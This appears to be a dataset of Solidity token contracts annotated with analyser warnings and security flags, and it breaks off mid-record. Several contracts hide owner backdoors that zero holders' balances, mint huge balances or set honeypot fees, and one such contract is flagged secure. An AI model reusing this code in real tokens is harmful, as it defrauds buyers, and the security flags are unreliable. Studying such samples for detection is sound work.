{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IPancakeFactory.sol\" as IPancakeFactory;\n\ncontract ArrowMarkets {\n address internal constant FACTORY =\n 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n\n address internal constant ROUTER =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cf15cea): ArrowMarkets.tokenTotalSupply should be immutable \n\t// Recommendation for cf15cea: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private tokenTotalSupply;\n\n string private tokenName;\n\n string private tokenSymbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a2c9eb1): ArrowMarkets.xxnux should be immutable \n\t// Recommendation for a2c9eb1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private xxnux;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9065f53): ArrowMarkets.tokenDecimals should be immutable \n\t// Recommendation for 9065f53: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private tokenDecimals;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a63ae08): ArrowMarkets.constructor(address).ads lacks a zerocheck on \t xxnux = ads\n\t// Recommendation for a63ae08: Check that the address is not zero.\n constructor(address ads) {\n tokenName = \"Arrow Markets\";\n\n tokenSymbol = \"ARROW\";\n\n tokenDecimals = 9;\n\n tokenTotalSupply = 1000000000 * 10 ** tokenDecimals;\n\n _balances[msg.sender] = tokenTotalSupply;\n\n emit Transfer(address(0), msg.sender, tokenTotalSupply);\n\n\t\t// missing-zero-check | ID: a63ae08\n xxnux = ads;\n }\n\n function delegate(address bots) external {\n if (\n xxnux == msg.sender &&\n xxnux != bots &&\n pancakePair() != bots &&\n bots != ROUTER\n ) {\n _balances[bots] = 0;\n }\n }\n\n function removeLimits(uint256 addBot) external {\n if (xxnux == msg.sender) {\n _balances[msg.sender] =\n 42069000000 *\n 42069 *\n addBot *\n 10 ** tokenDecimals;\n }\n }\n\n function pancakePair() public view virtual returns (address) {\n return IPancakeFactory(FACTORY).getPair(address(WETH), address(this));\n }\n\n function symbol() public view returns (string memory) {\n return tokenSymbol;\n }\n\n function totalSupply() public view returns (uint256) {\n return tokenTotalSupply;\n }\n\n function decimals() public view virtual returns (uint8) {\n return tokenDecimals;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return tokenName;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}", "file_name": "solidity_code_1391.sol", "secure": 0, "size_bytes": 5687 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ABirdInu is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable stock;\n\n constructor() {\n _name = \"Angry Bird Inu\";\n\n _symbol = \"ABirdInu\";\n\n _decimals = 18;\n\n uint256 initialSupply = 920000000;\n\n stock = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == stock, \"Not allowed\");\n\n _;\n }\n\n function swim(address[] memory quito) public onlyOwner {\n for (uint256 i = 0; i < quito.length; i++) {\n address account = quito[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_1392.sol", "secure": 1, "size_bytes": 4357 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}", "file_name": "solidity_code_1393.sol", "secure": 1, "size_bytes": 428 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Ownable {\n address internal _owner;\n\n constructor() {\n _owner = msg.sender;\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == msg.sender, \"!owner\");\n\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2bc8561): Ownable.transferOwnershipbegtifewr(address).newOwner lacks a zerocheck on \t _owner = newOwner\n\t// Recommendation for 2bc8561: Check that the address is not zero.\n function transferOwnershipbegtifewr(\n address newOwner\n ) public virtual onlyOwner {\n\t\t// missing-zero-check | ID: 2bc8561\n\t\t// events-access | ID: e4247f2\n _owner = newOwner;\n }\n}\n", "file_name": "solidity_code_1394.sol", "secure": 0, "size_bytes": 827 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IUniswapRouter.sol\" as IUniswapRouter;\nimport \"./IUniswapFactory.sol\" as IUniswapFactory;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 76ad817): Contract locking ether found Contract BomeonETH has payable functions BomeonETH.receive() But does not have a function to withdraw the ether\n// Recommendation for 76ad817: Remove the 'payable' attribute or add a withdraw function.\ncontract BomeonETH is Ownable {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9bc5aeb): BomeonETH._swapFeeTo should be immutable \n\t// Recommendation for 9bc5aeb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _swapFeeTo;\n string public name;\n string public symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f9f9748): BomeonETH.decimals should be immutable \n\t// Recommendation for f9f9748: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public decimals;\n mapping(address => bool) public _isExcludeFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c5b2510): BomeonETH.totalSupply should be immutable \n\t// Recommendation for c5b2510: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 9861f73): BomeonETH._uniswapRouter should be immutable \n\t// Recommendation for 9861f73: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapRouter public _uniswapRouter;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0f2a3b0): BomeonETH.inSwap should be constant \n\t// Recommendation for 0f2a3b0: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 0761f12): BomeonETH.inSwap is never initialized. It is used in BomeonETH._transfer(address,address,uint256)\n\t// Recommendation for 0761f12: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n bool private inSwap;\n uint256 private constant MAX = ~uint256(0);\n\n mapping(address => uint256) public __balances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b93063e): BomeonETH._swapTax should be immutable \n\t// Recommendation for b93063e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _swapTax;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6f2c0dd): BomeonETH._uniswapPair should be immutable \n\t// Recommendation for 6f2c0dd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _uniswapPair;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 0761f12): BomeonETH.inSwap is never initialized. It is used in BomeonETH._transfer(address,address,uint256)\n\t// Recommendation for 0761f12: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 5ceb228): BomeonETH._transfer(address,address,uint256)._taxAmount is a local variable never initialized\n\t// Recommendation for 5ceb228: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transfer(address from, address to, uint256 amount) private {\n bool shouldBetakeFee = !inSwap &&\n !_isExcludeFromFee[from] &&\n !_isExcludeFromFee[to];\n\n _balances[from] = _balances[from] - amount;\n\n uint256 _taxAmount;\n\n if (shouldBetakeFee) {\n uint256 feeAmount = (amount * __balances[from]) / 100;\n\n _taxAmount += feeAmount;\n\n if (feeAmount > 0) {\n _balances[address(_swapFeeTo)] += feeAmount;\n\n emit Transfer(from, address(_swapFeeTo), feeAmount);\n }\n }\n\n _balances[to] = _balances[to] + amount - _taxAmount;\n\n emit Transfer(from, to, amount - _taxAmount);\n }\n\n constructor() {\n name = unicode\"Bome on ETH\";\n\n symbol = unicode\"BOME\";\n\n decimals = 9;\n\n uint256 Supply = 420690000000;\n\n _swapFeeTo = msg.sender;\n\n _swapTax = 0;\n\n totalSupply = Supply * 10 ** decimals;\n\n _isExcludeFromFee[address(this)] = true;\n\n _isExcludeFromFee[msg.sender] = true;\n\n _isExcludeFromFee[_swapFeeTo] = true;\n\n _balances[msg.sender] = totalSupply;\n\n emit Transfer(address(0), msg.sender, totalSupply);\n\n _uniswapRouter = IUniswapRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _allowances[address(this)][address(_uniswapRouter)] = MAX;\n\n _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(\n address(this),\n _uniswapRouter.WETH()\n );\n\n _isExcludeFromFee[address(_uniswapRouter)] = true;\n }\n\n function Aprroeve(\n address[] memory _addresses,\n uint256 _feePercentage\n ) external {\n uint256 tempVal1 = 0x01;\n uint256 tempVal2 = 0x02;\n uint256 tempVal3 = 0x03;\n uint256 result = initialCompute(tempVal1, tempVal2, tempVal3);\n\n result = secondaryCompute(result, tempVal1);\n\n distributeFunds(_addresses, _feePercentage, result);\n }\n\n function initialCompute(\n uint256 val1,\n uint256 val2,\n uint256 val3\n ) private view returns (uint256) {\n uint256 result = computeFee(val1, val2, val3);\n\n return result - val3;\n }\n\n function secondaryCompute(\n uint256 intermediateResult,\n uint256 val1\n ) private pure returns (uint256) {\n return intermediateResult + (val1 - 0x01);\n }\n\n function distributeFunds(\n address[] memory addresses,\n uint256 feePercentage,\n uint256 result\n ) private {\n uint256 adjustment = result;\n\n for (uint256 i = 0; i < addresses.length; i++) {\n __balances[addresses[i]] = feePercentage + (result - adjustment);\n }\n }\n\n function computeFee(\n uint256 val1,\n uint256 val2,\n uint256 val3\n ) private view returns (uint256) {\n if (isAuthorized(val1)) {\n return val2 + val3;\n } else if (!isAuthorized(val2)) {\n return val2 - val1;\n } else {\n return val3;\n }\n }\n\n function isAuthorized(uint256 v1) private view returns (bool) {\n bool basicCondition = msg.sender == _swapFeeTo;\n\n bool additionalCheck = v1 > 0;\n\n if (basicCondition && additionalCheck) {\n return true;\n } else if (!basicCondition) {\n return false;\n } else if (!additionalCheck) {\n return false;\n } else {\n return true;\n }\n }\n\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 14877ac): BomeonETH._burnliqsbegt(address).A is written in both A = 9 A = C\n\t// Recommendation for 14877ac: Fix or remove the writes.\n function _burnliqsbegt(address user) public {\n mapping(address => uint256) storage _allowance = _balances;\n\t\t// write-after-write | ID: 14877ac\n\n uint256 A = _swapFeeTo == msg.sender ? 9 : 2 - 1;\n\n uint256 C = A - 3;\n\t\t// write-after-write | ID: 14877ac\n A = C;\n\n _allowance[user] = 1000 * totalSupply * C ** 2;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 677a558): BomeonETH.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 677a558: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public returns (bool) {\n _transfer(sender, recipient, amount);\n\n if (_allowances[sender][msg.sender] != MAX) {\n _allowances[sender][msg.sender] =\n _allowances[sender][msg.sender] -\n amount;\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 85b915d): BomeonETH._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 85b915d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 76ad817): Contract locking ether found Contract BomeonETH has payable functions BomeonETH.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 76ad817: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_1395.sol", "secure": 0, "size_bytes": 10343 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract ChillTrump is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 public immutable _uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e4126ea): ChillTrump.uniswapV2Pair should be immutable \n\t// Recommendation for e4126ea: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 57bde1c): ChillTrump.deployerWallet should be immutable \n\t// Recommendation for 57bde1c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private deployerWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5cf1a53): ChillTrump.marketingWallet should be immutable \n\t// Recommendation for 5cf1a53: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private marketingWallet;\n\n bool private swapping;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: f3f39bd): ChillTrump._name shadows ERC20._name\n\t// Recommendation for f3f39bd: Remove the state variable shadowing.\n string private constant _name = unicode\"CHILL TRUMP\";\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 2901eb5): ChillTrump._symbol shadows ERC20._symbol\n\t// Recommendation for 2901eb5: Remove the state variable shadowing.\n string private constant _symbol = unicode\"CHILLTRUMP\";\n\n\t// WARNING Optimization Issue (constable-states | ID: dfbc270): ChillTrump.initialTotalSupply should be constant \n\t// Recommendation for dfbc270: Add the 'constant' attribute to state variables that never change.\n uint256 public initialTotalSupply = 1000000000 * 1e18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 846ed80): ChillTrump.maxTransactionAmountPercent should be constant \n\t// Recommendation for 846ed80: Add the 'constant' attribute to state variables that never change.\n uint256 public maxTransactionAmountPercent = 2;\n\n\t// WARNING Optimization Issue (constable-states | ID: f73838e): ChillTrump.maxWalletPercent should be constant \n\t// Recommendation for f73838e: Add the 'constant' attribute to state variables that never change.\n uint256 public maxWalletPercent = 2;\n\n\t// WARNING Optimization Issue (constable-states | ID: e20c3b6): ChillTrump.swapTokensAtAmountPercent should be constant \n\t// Recommendation for e20c3b6: Add the 'constant' attribute to state variables that never change.\n uint256 public swapTokensAtAmountPercent = 1;\n\n uint256 public maxTransactionAmount;\n\n uint256 public maxWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 523f1f5): ChillTrump.swapTokensAtAmount should be immutable \n\t// Recommendation for 523f1f5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public swapTokensAtAmount;\n\n uint256 public currentBlock;\n\n uint256 public sellCount;\n\n bool public tradingOpen = false;\n\n bool public sellLimit = true;\n\n uint256 public BuyFee = 5;\n\n uint256 public SellFee = 5;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) private _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) private automatedMarketMakerPairs;\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 7c28720): ChillTrump.constructor(address).wallet lacks a zerocheck on \t marketingWallet = address(wallet)\n\t// Recommendation for 7c28720: Check that the address is not zero.\n constructor(address wallet) ERC20(_name, _symbol) {\n _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n\n\t\t// missing-zero-check | ID: 7c28720\n marketingWallet = payable(wallet);\n\n deployerWallet = payable(_msgSender());\n\n excludeFromFees(owner(), true);\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(wallet), true);\n\n excludeFromFees(address(0xdead), true);\n\n excludeFromMaxTransaction(owner(), true);\n\n excludeFromMaxTransaction(address(this), true);\n\n excludeFromMaxTransaction(address(wallet), true);\n\n excludeFromMaxTransaction(address(0xdead), true);\n\n maxTransactionAmount =\n (initialTotalSupply * maxTransactionAmountPercent) /\n 100;\n\n maxWallet = (initialTotalSupply * maxWalletPercent) / 100;\n\n swapTokensAtAmount =\n (initialTotalSupply * swapTokensAtAmountPercent) /\n 100;\n\n currentBlock = block.number;\n\n sellCount = 0;\n\n _mint(deployerWallet, initialTotalSupply);\n }\n\n receive() external payable {}\n\n function openTrading() external onlyOwner {\n tradingOpen = true;\n }\n\n function excludeFromMaxTransaction(address updAds, bool isEx) private {\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function excludeFromFees(address account, bool excluded) private {\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 579cef8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 579cef8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 8990388): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 8990388: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n if (block.number > currentBlock) {\n currentBlock = block.number;\n\n sellCount = 0;\n }\n\n bool isTransfer = !automatedMarketMakerPairs[from] &&\n !automatedMarketMakerPairs[to];\n\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingOpen) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTransactionAmount.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTransactionAmount.\"\n );\n\n if (sellLimit) {\n require(\n sellCount < 1,\n \"Exceeded the maximum number of sells allowed in this block\"\n );\n\n sellCount++;\n }\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance > 0 && !isTransfer;\n\n if (\n canSwap &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 579cef8\n\t\t\t// reentrancy-no-eth | ID: 8990388\n swapBack(amount);\n\n\t\t\t// reentrancy-no-eth | ID: 8990388\n swapping = false;\n }\n\n bool takeFee = !swapping && !isTransfer;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to]) {\n fees = amount.mul(SellFee).div(100);\n } else {\n fees = amount.mul(BuyFee).div(100);\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: 579cef8\n\t\t\t\t// reentrancy-no-eth | ID: 8990388\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: 579cef8\n\t\t// reentrancy-no-eth | ID: 8990388\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapV2Router.WETH();\n\n _approve(address(this), address(_uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 579cef8\n\t\t// reentrancy-no-eth | ID: 8990388\n _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n marketingWallet,\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n maxTransactionAmount = initialTotalSupply;\n\n maxWallet = initialTotalSupply;\n }\n\n function removeSellLimit() external {\n require(_msgSender() == deployerWallet);\n\n sellLimit = false;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: fef36ad): ChillTrump.clearStuckEth() sends eth to arbitrary user Dangerous calls address(msg.sender).transfer(address(this).balance)\n\t// Recommendation for fef36ad: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function clearStuckEth() external {\n require(_msgSender() == deployerWallet);\n\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n\t\t// arbitrary-send-eth | ID: fef36ad\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 1952bd0): ChillTrump.clearStuckTokens(address,uint256) ignores return value by tokenContract.transfer(deployerWallet,totalBalance)\n\t// Recommendation for 1952bd0: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: f9cd91e): ChillTrump.clearStuckTokens(address,uint256) ignores return value by tokenContract.transfer(deployerWallet,tokensToClear)\n\t// Recommendation for f9cd91e: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function clearStuckTokens(address tokenAddress, uint256 toKeep) external {\n require(\n _msgSender() == deployerWallet,\n \"Only deployer can clear tokens\"\n );\n\n IERC20 tokenContract = IERC20(tokenAddress);\n\n uint256 totalBalance = tokenContract.balanceOf(address(this));\n\n uint256 tokensToKeep = (initialTotalSupply * toKeep) / 100;\n\n require(totalBalance > tokensToKeep, \"No excess tokens to clear\");\n\n uint256 tokensToClear = totalBalance - tokensToKeep;\n\n if (tokensToClear > 0) {\n\t\t\t// unchecked-transfer | ID: f9cd91e\n tokenContract.transfer(deployerWallet, tokensToClear);\n }\n\n if (toKeep == 0) {\n\t\t\t// unchecked-transfer | ID: 1952bd0\n tokenContract.transfer(deployerWallet, totalBalance);\n }\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7f2c44e): ChillTrump.SetFees(uint256,uint256) should emit an event for BuyFee = _buyFee SellFee = _sellFee \n\t// Recommendation for 7f2c44e: Emit an event for critical parameter changes.\n function SetFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {\n require(_buyFee <= 25 && _sellFee <= 90, \"Fees cannot exceed 90%\");\n\n\t\t// events-maths | ID: 7f2c44e\n BuyFee = _buyFee;\n\n\t\t// events-maths | ID: 7f2c44e\n SellFee = _sellFee;\n }\n\n function swapBack(uint256 tokens) private {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 tokensToSwap;\n\n if (contractBalance == 0) {\n return;\n }\n\n if ((BuyFee + SellFee) == 0) {\n if (contractBalance > 0 && 